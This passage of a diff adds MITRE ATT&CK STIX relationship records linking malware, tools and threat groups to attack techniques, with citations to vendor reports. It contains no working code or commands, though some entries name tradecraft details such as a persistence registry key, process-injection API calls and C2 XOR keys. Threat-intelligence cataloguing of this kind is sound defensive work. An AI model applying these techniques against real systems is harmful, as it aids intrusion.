"modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--5f9f7648-04ba-4a9f-bb4c-2a13e74572bd", + "relationship_type": "uses", + "target_ref": "attack-pattern--7385dfaf-6886-4229-9ecd-6fd678040830" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[HDoor](https://attack.mitre.org/software/S0061) kills anti-virus found on the victim.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--7209b3d7-b8c8-4fc0-89fb-a5448f015540", + "external_references": [ + { + "source_name": "Baumgartner Naikon 2015", + "description": "Baumgartner, K., Golovkin, M.. (2015, May). The MsnMM Campaigns: The Earliest Naikon APT Campaigns. Retrieved April 10, 2019.", + "url": "https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/07205555/TheNaikonAPT-MsnMM1.pdf" + } + ], + "modified": "2019-04-25T02:33:53.487Z", + "source_ref": "malware--007b44b6-e4c5-480b-b5b9-56f2081b1b7b", + "relationship_type": "uses", + "target_ref": "attack-pattern--2e0dd10b-676d-4964-acd0-8a404c92b044" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[EvilGrab](https://attack.mitre.org/software/S0152) has the capability to capture audio from a victim machine.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--5599906d-5be3-420c-9f84-e762d85c2511", + "external_references": [ + { + "source_name": "PWC Cloud Hopper Technical Annex April 2017", + "description": "PwC and BAE Systems. (2017, April). Operation Cloud Hopper: Technical Annex. Retrieved April 13, 2017.", + "url": "https://www.pwc.co.uk/cyber-security/pdf/cloud-hopper-annex-b-final.pdf" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--2f1a9fd0-3b7c-4d77-a358-78db13adbe78", + "relationship_type": "uses", + "target_ref": "attack-pattern--1035cdf2-3e5f-446f-a7a7-e8f6d7925967" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Prikormka](https://attack.mitre.org/software/S0113) contains a keylogger module that collects keystrokes and the titles of foreground windows.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--1879905d-a4f6-43a7-aafe-a7e436e5c559", + "external_references": [ + { + "source_name": "ESET Operation Groundbait", + "description": "Cherepanov, A.. (2016, May 17). Operation Groundbait: Analysis of a surveillance toolkit. Retrieved May 18, 2016.", + "url": "http://www.welivesecurity.com/wp-content/uploads/2016/05/Operation-Groundbait.pdf" + } + ], + "modified": "2019-07-26T20:45:14.185Z", + "source_ref": "malware--37cc7eb6-12e3-467b-82e8-f20f2cc73c69", + "relationship_type": "uses", + "target_ref": "attack-pattern--bb5a00de-e086-4859-a231-fa793f6797e2" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[RTM](https://attack.mitre.org/software/S0148) can download additional files.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--c839344c-a96d-412f-bded-5ac7c8fd446a", + "external_references": [ + { + "source_name": "ESET RTM Feb 2017", + "description": "Faou, M. and Boutin, J.. (2017, February). Read The Manual: A Guide to the RTM Banking Trojan. Retrieved March 9, 2017.", + "url": "https://www.welivesecurity.com/wp-content/uploads/2017/02/Read-The-Manual.pdf" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--92ec0cbd-2c30-44a2-b270-73f4ec949841", + "relationship_type": "uses", + "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[MoonWind](https://attack.mitre.org/software/S0149) obtains the victim's current time.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--77c63e89-71fe-47e3-babb-13e7722932ad", + "external_references": [ + { + "source_name": "Palo Alto MoonWind March 2017", + "description": "Miller-Osborn, J. and Grunzweig, J.. (2017, March 30). Trochilus and New MoonWind RATs Used In Attack Against Thai Organizations. Retrieved March 30, 2017.", + "url": "http://researchcenter.paloaltonetworks.com/2017/03/unit42-trochilus-rat-new-moonwind-rat-used-attack-thai-utility-organizations/" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--9ea525fa-b0a9-4dde-84f2-bcea0137b3c1", + "relationship_type": "uses", + "target_ref": "attack-pattern--f3c544dc-673c-4ef3-accb-53229f1ae077" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "An [APT28](https://attack.mitre.org/groups/G0007) loader Trojan adds the Registry key HKCU\\Environment\\UserInitMprLogonScript to establish persistence.", + "type": "relationship", + "created": "2018-04-18T17:59:24.739Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--237d098d-f796-49a0-bdc8-61909cd74feb", + "external_references": [ + { + "source_name": "Unit 42 Playbook Dec 2017", + "description": "Unit 42. (2017, December 15). Unit 42 Playbook Viewer. Retrieved December 20, 2017.", + "url": "https://pan-unit42.github.io/playbook_viewer/" + } + ], + "modified": "2019-07-27T00:09:35.964Z", + "source_ref": "intrusion-set--bef4c620-0787-42a8-a96d-b7eb6e85917c", + "relationship_type": "uses", + "target_ref": "attack-pattern--03259939-0b57-482f-8eb5-87c0e0d54334" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[PLAINTEE](https://attack.mitre.org/software/S0254) uses the ipconfig /all command to gather the victim\u2019s IP address.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--5f8e0db4-70d8-49c3-9b57-f6296ec8357f", + "external_references": [ + { + "source_name": "Rancor Unit42 June 2018", + "description": "Ash, B., et al. (2018, June 26). RANCOR: Targeted Attacks in South East Asia Using PLAINTEE and DDKONG Malware Families. Retrieved July 2, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2018/06/unit42-rancor-targeted-attacks-south-east-asia-using-plaintee-ddkong-malware-families/" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--21c0b55b-5ff3-4654-a05e-e3fc1ee1ce1b", + "relationship_type": "uses", + "target_ref": "attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[SHOTPUT](https://attack.mitre.org/software/S0063) has a command to obtain a process listing.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--c8ce3bcd-b74f-497d-8f76-cc8c7333ab49", + "external_references": [ + { + "source_name": "Palo Alto CVE-2015-3113 July 2015", + "description": "Falcone, R. and Wartell, R.. (2015, July 27). Observations on CVE-2015-3113, Prior Zero-Days and the Pirpi Payload. Retrieved January 22, 2016.", + "url": "http://researchcenter.paloaltonetworks.com/2015/07/ups-observations-on-cve-2015-3113-prior-zero-days-and-the-pirpi-payload/" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--58adaaa8-f1e8-4606-9a08-422e568461eb", + "relationship_type": "uses", + "target_ref": "attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[FIN10](https://attack.mitre.org/groups/G0051) has executed malicious .bat files containing PowerShell commands.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--4de4a09b-5727-4462-b288-23278e74634e", + "external_references": [ + { + "source_name": "FireEye FIN10 June 2017", + "description": "FireEye iSIGHT Intelligence. (2017, June 16). FIN10: Anatomy of a Cyber Extortion Operation. Retrieved June 25, 2017.", + "url": "https://www2.fireeye.com/rs/848-DID-242/images/rpt-fin10.pdf" + } + ], + "modified": "2019-04-25T12:09:56.256Z", + "source_ref": "intrusion-set--fbe9387f-34e6-4828-ac28-3080020c597b", + "relationship_type": "uses", + "target_ref": "attack-pattern--7fd87010-3a00-4da3-b905-410525e8ec44" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[FIN7](https://attack.mitre.org/groups/G0046) lured victims to double-click on images in the attachments they sent which would then execute the hidden LNK file.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--9b9dad4a-c597-4979-9129-7753a7c3b3db", + "external_references": [ + { + "source_name": "FireEye FIN7 April 2017", + "description": "Carr, N., et al. (2017, April 24). FIN7 Evolution and the Phishing LNK. Retrieved April 24, 2017.", + "url": "https://www.fireeye.com/blog/threat-research/2017/04/fin7-phishing-lnk.html" + } + ], + "modified": "2019-06-30T23:13:18.357Z", + "source_ref": "intrusion-set--3753cc21-2dae-4dfb-8481-d004e74502cc", + "relationship_type": "uses", + "target_ref": "attack-pattern--8c32eb4d-805f-4fc5-bf60-c4d476c131b5" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Pupy](https://attack.mitre.org/software/S0192) uses a keylogger to capture keystrokes it then sends back to the server after it is stopped.", + "type": "relationship", + "created": "2018-04-18T17:59:24.739Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--811d0ef6-047f-4813-801e-33ebf1cae22a", + "external_references": [ + { + "source_name": "GitHub Pupy", + "description": "Nicolas Verdier. (n.d.). Retrieved January 29, 2018.", + "url": "https://github.com/n1nj4sec/pupy" + } + ], + "modified": "2019-04-24T17:52:47.742Z", + "source_ref": "tool--cb69b20d-56d0-41ab-8440-4a4b251614d4", + "relationship_type": "uses", + "target_ref": "attack-pattern--bb5a00de-e086-4859-a231-fa793f6797e2" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[OilRig](https://attack.mitre.org/groups/G0049) has used WMI for execution.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--bd0cff5e-762e-4ba0-ab42-9bfe84e8db4f", + "external_references": [ + { + "source_name": "FireEye APT34 Webinar Dec 2017", + "description": "Davis, S. and Caban, D. (2017, December 19). APT34 - New Targeted Attack in the Middle East. Retrieved December 20, 2017.", + "url": "https://www.brighttalk.com/webcast/10703/296317/apt34-new-targeted-attack-in-the-middle-east" + } + ], + "modified": "2019-07-17T16:17:29.736Z", + "source_ref": "intrusion-set--4ca1929c-7d64-4aab-b849-badbfc0c760d", + "relationship_type": "uses", + "target_ref": "attack-pattern--01a5a209-b94c-450b-b7f9-946497d91055" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[CozyCar](https://attack.mitre.org/software/S0046) uses Twitter as a backup C2 channel to Twitter accounts specified in its configuration file.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--233d1a32-f826-4705-a535-806edee8a5aa", + "external_references": [ + { + "source_name": "F-Secure CozyDuke", + "description": "F-Secure Labs. (2015, April 22). CozyDuke: Malware Analysis. Retrieved December 10, 2015.", + "url": "https://www.f-secure.com/documents/996508/1030745/CozyDuke" + } + ], + "modified": "2019-04-24T23:17:25.096Z", + "source_ref": "malware--e6ef745b-077f-42e1-a37d-29eecff9c754", + "relationship_type": "uses", + "target_ref": "attack-pattern--830c9528-df21-472c-8c14-a036bf17d665" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[DustySky](https://attack.mitre.org/software/S0062) collects information about running processes from victims.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--f33725f4-cce5-4868-b494-d73419c76bdf", + "external_references": [ + { + "source_name": "DustySky", + "description": "ClearSky. (2016, January 7). Operation DustySky. Retrieved January 8, 2016.", + "url": "https://www.clearskysec.com/wp-content/uploads/2016/01/Operation%20DustySky_TLP_WHITE.pdf" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--687c23e4-4e25-4ee7-a870-c5e002511f54", + "relationship_type": "uses", + "target_ref": "attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[GravityRAT](https://attack.mitre.org/software/S0237) has been delivered via Word documents using DDE for execution.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--c49b5147-f60f-43d7-b119-52b1761002af", + "external_references": [ + { + "source_name": "Talos GravityRAT", + "description": "Mercer, W., Rascagneres, P. (2018, April 26). GravityRAT - The Two-Year Evolution Of An APT Targeting India. Retrieved May 16, 2018.", + "url": "https://blog.talosintelligence.com/2018/04/gravityrat-two-year-evolution-of-apt.html" + } + ], + "modified": "2019-04-24T23:21:59.138Z", + "source_ref": "malware--1d1fce2f-0db5-402b-9843-4278a0694637", + "relationship_type": "uses", + "target_ref": "attack-pattern--edbe24e9-aec4-4994-ac75-6a6bc7f1ddd0" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[FIN7](https://attack.mitre.org/groups/G0046) uses a PowerShell script to launch shellcode that retrieves an additional payload.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--4856de0a-2635-4081-97a8-3f15593c2aa5", + "external_references": [ + { + "source_name": "FireEye FIN7 April 2017", + "description": "Carr, N., et al. (2017, April 24). FIN7 Evolution and the Phishing LNK. Retrieved April 24, 2017.", + "url": "https://www.fireeye.com/blog/threat-research/2017/04/fin7-phishing-lnk.html" + }, + { + "source_name": "Morphisec FIN7 June 2017", + "description": "Gorelik, M.. (2017, June 9). FIN7 Takes Another Bite at the Restaurant Industry. Retrieved July 13, 2017.", + "url": "http://blog.morphisec.com/fin7-attacks-restaurant-industry" + } + ], + "modified": "2019-06-30T23:13:18.381Z", + "source_ref": "intrusion-set--3753cc21-2dae-4dfb-8481-d004e74502cc", + "relationship_type": "uses", + "target_ref": "attack-pattern--f4882e23-8aa7-4b12-b28a-b349c12ee9e0" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "An [APT3](https://attack.mitre.org/groups/G0022) downloader establishes SOCKS5 connections to two separate IP addresses over TCP port 1913 and TCP port 81.", + "type": "relationship", + "created": "2017-05-31T21:33:27.056Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--e7379230-882e-4b5c-bee1-629e9028e97f", + "external_references": [ + { + "source_name": "FireEye Operation Double Tap", + "description": "Moran, N., et al. (2014, November 21). Operation Double Tap. Retrieved January 14, 2016.", + "url": "https://www.fireeye.com/blog/threat-research/2014/11/operation_doubletap.html" + } + ], + "modified": "2019-04-29T18:01:20.345Z", + "source_ref": "intrusion-set--0bbdf25b-30ff-4894-a1cd-49260d0dd2d9", + "relationship_type": "uses", + "target_ref": "attack-pattern--c848fcf7-6b62-4bde-8216-b6c157d48da0" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Nidiran](https://attack.mitre.org/software/S0118) uses RC4 to encrypt C2 traffic.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--7b5919ce-efab-45d1-855b-f827d7489b2b", + "external_references": [ + { + "source_name": "Symantec Suckfly May 2016", + "description": "DiMaggio, J.. (2016, May 17). Indian organizations targeted in Suckfly attacks. Retrieved August 3, 2016.", + "url": "http://www.symantec.com/connect/blogs/indian-organizations-targeted-suckfly-attacks" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--9e9b9415-a7df-406b-b14d-92bfe6809fbe", + "relationship_type": "uses", + "target_ref": "attack-pattern--4b74a1d4-b0e9-4ef1-93f1-14ecc6e2f5b5" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "The discovery modules used with [Duqu](https://attack.mitre.org/software/S0038) can collect information on open windows.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--bbc31a33-f55f-43d4-a3fd-23426c5fc638", + "external_references": [ + { + "source_name": "Symantec W32.Duqu", + "description": "Symantec Security Response. (2011, November). W32.Duqu: The precursor to the next Stuxnet. Retrieved September 17, 2015.", + "url": "https://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/w32_duqu_the_precursor_to_the_next_stuxnet.pdf" + } + ], + "modified": "2019-04-24T23:18:53.152Z", + "source_ref": "malware--68dca94f-c11d-421e-9287-7c501108e18c", + "relationship_type": "uses", + "target_ref": "attack-pattern--4ae4f953-fe58-4cc8-a327-33257e30a830" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[APT37](https://attack.mitre.org/groups/G0067) leverages the Windows API calls: VirtualAlloc(), WriteProcessMemory(), and CreateRemoteThread() for process injection.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--82c9b9a1-5fbe-49e5-8685-12a03a66ef8d", + "external_references": [ + { + "source_name": "Talos Group123", + "description": "Mercer, W., Rascagneres, P. (2018, January 16). Korea In The Crosshairs. Retrieved May 21, 2018.", + "url": "https://blog.talosintelligence.com/2018/01/korea-in-crosshairs.html" + } + ], + "modified": "2019-07-08T14:33:15.982Z", + "source_ref": "intrusion-set--4a2ce82e-1a74-468a-a6fb-bbead541383c", + "relationship_type": "uses", + "target_ref": "attack-pattern--391d824f-0ef1-47a0-b0ee-c59a75e27670" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[QuasarRAT](https://attack.mitre.org/software/S0262) can download files to the victim\u2019s machine and execute them.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--4a33da76-c838-48fe-97ad-80d285cf165f", + "external_references": [ + { + "source_name": "GitHub QuasarRAT", + "description": "MaxXor. (n.d.). QuasarRAT. Retrieved July 10, 2018.", + "url": "https://github.com/quasar/QuasarRAT" + }, + { + "source_name": "Volexity Patchwork June 2018", + "description": "Meltzer, M, et al. (2018, June 07). Patchwork APT Group Targets US Think Tanks. Retrieved July 16, 2018.", + "url": "https://www.volexity.com/blog/2018/06/07/patchwork-apt-group-targets-us-think-tanks/" + } + ], + "modified": "2019-06-24T19:05:41.485Z", + "source_ref": "tool--da04ac30-27da-4959-a67d-450ce47d9470", + "relationship_type": "uses", + "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[MacSpy](https://attack.mitre.org/software/S0282) captures keystrokes.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--e6884060-8245-46ff-b71f-025c6a82eb3f", + "external_references": [ + { + "source_name": "objsee mac malware 2017", + "description": "Patrick Wardle. (n.d.). Mac Malware of 2017. Retrieved September 21, 2018.", + "url": "https://objective-see.com/blog/blog_0x25.html" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--f72251cb-2be5-421f-a081-99c29a1209e7", + "relationship_type": "uses", + "target_ref": "attack-pattern--bb5a00de-e086-4859-a231-fa793f6797e2" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "modified": "2019-03-25T16:54:05.812Z", + "type": "relationship", + "created": "2017-05-31T21:33:27.081Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--9755e169-0dd5-4bf5-a884-d50d31f33ad9", + "external_references": [ + { + "source_name": "ESET RTM Feb 2017", + "description": "Faou, M. and Boutin, J.. (2017, February). Read The Manual: A Guide to the RTM Banking Trojan. Retrieved March 9, 2017.", + "url": "https://www.welivesecurity.com/wp-content/uploads/2017/02/Read-The-Manual.pdf" + } + ], + "source_ref": "intrusion-set--c416b28c-103b-4df1-909e-78089a7e0e5f", + "relationship_type": "uses", + "target_ref": "malware--92ec0cbd-2c30-44a2-b270-73f4ec949841" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[BRONZE BUTLER](https://attack.mitre.org/groups/G0060) malware has used HTTP for C2.", + "type": "relationship", + "created": "2018-01-16T16:13:52.465Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--58fdc63b-05b4-4db9-90fe-c80f7956292f", + "external_references": [ + { + "source_name": "Secureworks BRONZE BUTLER Oct 2017", + "description": "Counter Threat Unit Research Team. (2017, October 12). BRONZE BUTLER Targets Japanese Enterprises. Retrieved January 4, 2018.", + "url": "https://www.secureworks.com/research/bronze-butler-targets-japanese-businesses" + } + ], + "modified": "2019-03-22T19:57:37.164Z", + "source_ref": "intrusion-set--93f52415-0fe4-4d3d-896c-fc9b8e88ab90", + "relationship_type": "uses", + "target_ref": "attack-pattern--355be19c-ffc9-46d5-8d50-d6a036c675b6" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "modified": "2019-03-25T15:36:46.901Z", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--a8f41a5a-b6bd-4446-8f9d-22d0e7b4af74", + "external_references": [ + { + "source_name": "Symantec Orangeworm April 2018", + "description": "Symantec Security Response Attack Investigation Team. (2018, April 23). New Orangeworm attack group targets the healthcare sector in the U.S., Europe, and Asia. Retrieved May 8, 2018.", + "url": "https://www.symantec.com/blogs/threat-intelligence/orangeworm-targets-healthcare-us-europe-asia" + } + ], + "source_ref": "intrusion-set--5636b7b3-d99b-4edd-aa05-ee649c1d4ef1", + "relationship_type": "uses", + "target_ref": "tool--bba595da-b73a-4354-aa6c-224d4de7cb4e" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "modified": "2019-07-17T16:17:30.688Z", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--e2def7f8-7c68-4ed6-b801-260b24a67409", + "external_references": [ + { + "source_name": "FireEye APT34 Webinar Dec 2017", + "description": "Davis, S. and Caban, D. (2017, December 19). APT34 - New Targeted Attack in the Middle East. Retrieved December 20, 2017.", + "url": "https://www.brighttalk.com/webcast/10703/296317/apt34-new-targeted-attack-in-the-middle-east" + } + ], + "source_ref": "intrusion-set--4ca1929c-7d64-4aab-b849-badbfc0c760d", + "relationship_type": "uses", + "target_ref": "malware--0998045d-f96e-4284-95ce-3c8219707486" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Bankshot](https://attack.mitre.org/software/S0239) can terminate a specific process by its process id.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--5782aac5-a4c6-4d17-88c9-e29b795e3ee7", + "external_references": [ + { + "source_name": "McAfee Bankshot", + "description": "Sherstobitoff, R. (2018, March 08). Hidden Cobra Targets Turkish Financial Sector With New Bankshot Implant. Retrieved May 18, 2018.", + "url": "https://securingtomorrow.mcafee.com/mcafee-labs/hidden-cobra-targets-turkish-financial-sector-new-bankshot-implant/" + }, + { + "source_name": "US-CERT Bankshot Dec 2017", + "description": "US-CERT. (2017, December 13). Malware Analysis Report (MAR) - 10135536-B. Retrieved July 17, 2018.", + "url": "https://www.us-cert.gov/sites/default/files/publications/MAR-10135536-B_WHITE.PDF" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--1f6e3702-7ca1-4582-b2e7-4591297d05a8", + "relationship_type": "uses", + "target_ref": "attack-pattern--62dfd1ca-52d5-483c-a84b-d6e80bf94b7b" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[4H RAT](https://attack.mitre.org/software/S0065) obfuscates C2 communication using a 1-byte XOR with the key 0xBE.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--6613ed52-5c6c-43f2-bd0c-9809769cb022", + "external_references": [ + { + "source_name": "CrowdStrike Putter Panda", + "description": "Crowdstrike Global Intelligence Team. (2014, June 9). CrowdStrike Intelligence Report: Putter Panda. Retrieved January 22, 2016.", + "url": "http://cdn0.vox-cdn.com/assets/4589853/crowdstrike-intelligence-report-putter-panda.original.pdf" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--8e461ca3-0996-4e6e-a0df-e2a5bbc51ebc", + "relationship_type": "uses", + "target_ref": "attack-pattern--3b3cbbe0-6ed3-4334-b543-3ddfd8c5642d" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[BRONZE BUTLER](https://attack.mitre.org/groups/G0060) compromised three Japanese websites using a Flash exploit to perform watering hole attacks.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--731d14c6-a141-4e71-ac61-c344636e13d5", + "external_references": [ + { + "source_name": "Symantec Tick Apr 2016", + "description": "DiMaggio, J. (2016, April 28). Tick cyberespionage group zeros in on Japan. Retrieved July 16, 2018.", + "url": "https://www.symantec.com/connect/blogs/tick-cyberespionage-group-zeros-japan" + } + ], + "modified": "2019-03-22T19:57:37.208Z", + "source_ref": "intrusion-set--93f52415-0fe4-4d3d-896c-fc9b8e88ab90", + "relationship_type": "uses", + "target_ref": "attack-pattern--d742a578-d70e-4d0e-96a6-02a9c30204e6" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[SPACESHIP](https://attack.mitre.org/software/S0035) copies staged data to removable drives when they are inserted into the system.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--04e2c418-8f6c-453c-8e17-4d3aeec0f755", + "external_references": [ + { + "source_name": "FireEye APT30", + "description": "FireEye Labs. (2015, April). APT30 AND THE MECHANICS OF A LONG-RUNNING CYBER ESPIONAGE OPERATION. Retrieved May 1, 2015.", + "url": "https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--8b880b41-5139-4807-baa9-309690218719", + "relationship_type": "uses", + "target_ref": "attack-pattern--e6415f09-df0e-48de-9aba-928c902b7549" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "The original variant of [FakeM](https://attack.mitre.org/software/S0076) encrypts C2 traffic using a custom encryption cipher that uses an XOR key of \u201cYHCRA\u201d and bit rotation between each XOR operation. [FakeM](https://attack.mitre.org/software/S0076) has also included HTML code in C2 traffic in an apparent attempt to evade detection. Additionally, some variants of [FakeM](https://attack.mitre.org/software/S0076) use modified SSL code for communications back to C2 servers, making SSL decryption ineffective.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--a00d3582-7c2d-45dc-8580-1de25356ae70", + "external_references": [ + { + "source_name": "Scarlet Mimic Jan 2016", + "description": "Falcone, R. and Miller-Osborn, J.. (2016, January 24). Scarlet Mimic: 